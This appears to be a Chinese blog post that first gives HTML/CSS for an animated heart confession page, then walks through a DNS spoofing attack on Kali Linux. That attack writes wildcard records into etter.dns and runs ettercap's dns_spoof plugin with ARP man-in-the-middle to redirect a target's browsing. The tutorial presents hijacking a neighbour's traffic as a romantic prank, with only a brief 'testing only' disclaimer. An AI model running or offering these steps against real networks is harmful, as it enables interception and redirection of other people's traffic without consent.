果圖如下:
以下為部分代碼,由于太長就不全部貼出來了,需要完整源碼點擊鏈接獲取,邀請碼填寫:11
[html]
今為了追到女朋友,眾位男士也是掏空心思,絞盡腦汁想各種表白的新招式,務必給女神一個難以忘記的表白。程序員當然也不例外。既然學的是編程,那就要好好利用編程做一個與眾不同的表白,那最適合的編程語言就是前端了,能夠輕而易舉的就做出各種讓女孩心動的代碼特效。
更多特效源碼,編程資料,私信我1即可免費領取。
首先特效鎮文:
今天我們講的就是如何用代碼做出一個愛心表白特效。源碼如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>520</title>
<meta name="description" content="">
<meta name="keywords" content="">
<link href="" rel="stylesheet">
<style>
*{margin: 0; padding: 0;}
ul,ol{list-style: none;}
a{text-decoration: none;color: inherit;}
.clearfix:after{content: '';display: block;clear: both;}
.clear{clear: both;}
body{
background-color: #8a0a0a;
}
.love{
display: table;
flex-wrap: wrap;
margin: 100px auto;
}
.box{
float:left;
width: 25px;
height: 25px;
border-radius: 2px;
margin-right: 2px;
margin-bottom: 2px
}
.box:hover{
background: #8a0a0a;
}
.box:not(.transparent){
background-color: #fff;
opacity: 0;
transform: translateY(-300px);
animation: move 4s infinite;
}
@keyframes move{
25%{
opacity: 1;
transform: translateY(0);
}
50%{
opacity: 1;
transform: translateY(0);
}
65%{
opacity: 1;
transform: translateY(0);
}
100%{
opacity: 0;
transform: translateY(300px);
}
}
.box.delay1{
animation-delay: .1s;
}
.box.delay2{
animation-delay: .2s;
}
.box.delay3{
animation-delay: .4s;
}
.box.delay4{
animation-delay: .5s;
}
.box.delay5{
animation-delay: .7s;
}
.box.delay6{
animation-delay: .9s;
}
p{
width: 1000px;
margin: 200px auto 0;
color: #fff;
font-size: 40px;
text-align: center;
}
</style>
</head>
<body>
<div class="love">
<div class="box transparent"></div>
<div class="box white delay6"></div>
<div class="box white delay2"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box white delay4"></div>
<div class="box white delay3"></div>
<div class="box transparent"></div>
<div class="box clear white delay5"></div>
<div class="box white delay5"></div>
<div class="box white delay6"></div>
<div class="box white delay3"></div>
<div class="box transparent"></div>
<div class="box white delay6"></div>
<div class="box white delay1"></div>
<div class="box white delay4"></div>
<div class="box white delay2"></div>
<div class="box clear white"></div>
<div class="box white delay1"></div>
<div class="box white delay4"></div>
<div class="box white delay2"></div>
<div class="box white delay6"></div>
<div class="box whitedelay3"></div>
<div class="box white delay6"></div>
<div class="box white delay3"></div>
<div class="box white delay1"></div>
<div class="box clear white"></div>
<div class="box white delay3"></div>
<div class="box white delay1"></div>
<div class="box white delay1"></div>
<div class="box white delay6"></div>
<div class="box white delay3"></div>
<div class="box white delay5"></div>
<div class="box white delay2"></div>
<div class="box white delay4"></div>
<div class="box clear transparent"></div>
<div class="box white delay6"></div>
<div class="box white delay1"></div>
<div class="box white delay5"></div>
<div class="box white delay1"></div>
<div class="box white delay5"></div>
<div class="box white delay3"></div>
<div class="box white delay4"></div>
<div class="box transparent"></div>
<div class="box clear transparent"></div>
<div class="box transparent"></div>
<div class="box white delay5"></div>
<div class="box white delay1"></div>
<div class="box white delay5"></div>
<div class="box white delay2"></div>
<div class="box white"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box clear transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box white"></div>
<div class="box white"></div>
<div class="box white delay2"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box clear transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box white delay1"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
<div class="box transparent"></div>
</div>
<p>我愛代碼,也愛你,雖然我不善言辭,請讓我用我的方式說:我愛你!</p>
</body>
</html>
說沒有黑客沒有浪漫?先聽首BGM膨脹下。。。
在我的視頻專欄課程《白帽黑客kali滲透指南》,我已經深入淺出地講解了ARP緩存攻擊,使用我們的kali就能充當中間人,全面截獲目標主機和互聯網之間的流量數據,上網內容和圖片也是一覽無遺!想想也是細思極恐,這里重申一下,僅僅用作安全測試,切勿用于不當目的!
還沒有學習ARP攻擊的小白,可以點擊下方《白帽黑客kali滲透指南》的專欄卡片進入。
ARP既然這么厲害,那DNS又是何物?DNS其實和ARP是類似的。
ARP協議指的是主機ip地址和MAC地址的關系,需要確定IP地址和MAC進行對應才能完成指定通信;而DNS顧名思義就是指DNS域名和IP的關系,將你訪問的域名(www。baidu。com)通過域名解析服務器(又叫DNS域名解析服務器)將這個域名進行解析(先在本地域名解析服務器緩存中尋找該域名對應的IP地址,沒有發現,就會去互聯網的域名解析服務器查找,直到成功!),此時會解析成一個固定的真實的ip地址,然后實現雙向通信。
你想一下,如果此時有惡意攻擊者(我們的kali)充當中間人,在網段中進行廣播,將自己偽裝成一個本地域名解析服務器,然后把kali的ip和所有域名進行綁定,這就是實打實的DNS域名劫持攻擊!
在kali的文本編輯器中輸入以下代碼:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/heml; charset=utf-8">
<title>I love you</title>
<meta name="keywords" content="test">
<meta name="description" content="test website">
</head>
<body>
<h1>不好意思,我愛你,所以黑了你</h1>
<a target="-blank" title="I LOVE YOU"><img src="./biaobai.png"></a>
<embed src="./biaobai.wav" autostart="true" loop="true" hidden="true"></embed>
</body>
<footer>
<p>來自隔壁小哥哥的愛</p>
</footer>
</html>
上圖大概內容:這是一個html的網頁,放置一張告白圖片,添加一段音樂。
然后保存在主目錄下!然后你將制作好的圖片和音樂文件也要放在主目錄下,如下圖:
然后你要將這個index.html文件、以及代碼中涉及到的圖片biaobai.png、音樂資源文件biaobai.wav都要拷貝到kali的/var/www/html下,也是kali web服務器的apache2根目錄。
Kali終端下輸入:
su,進入root用戶
service apache2 start
首先配置ettercap的dns域名解析文件
在kali終端中輸入:
vim /etc/ettercap/etter.dns
然后進入編輯界面:
后面添加:
* A 192.168.31.206 (這是你kali的IP)
* PTR 192.168.31.206
注意:* 代表所有的域名
如圖所示即可!添加這兩行即可!
保存退出vim編輯!已經完成ettercap的dns攻擊配置!
Kali終端下輸入:
Ettercap -G
配置ettercap
設置插件:dns_spoof
掃描主機列表hosts-scan for hosts
設置目標1網關ip 192.168.31.1
設置目標2ip 192.168.31.6
設置ARP中間人
我們接下來模擬靶機win10通過瀏覽器來上網,比如瀏覽百度的首頁:
在win10的瀏覽器下輸入:www,baidu,com回車!
好無情,我們看到的不再是百度首頁,而是我們kali web根目錄下的表白網頁,還自帶"夜空最閃亮的星"!你說隔壁妹妹會不會驚喜?還是破口大罵"渣男!"?
想學習更多白帽黑客kali滲透技術的小白,點擊小白都能學的kali滲透實戰就能加入學習!
關注我,你能學到更多,給個贊,評論吧!
*請認真填寫需求信息,我們會在24小時內與您取得聯系。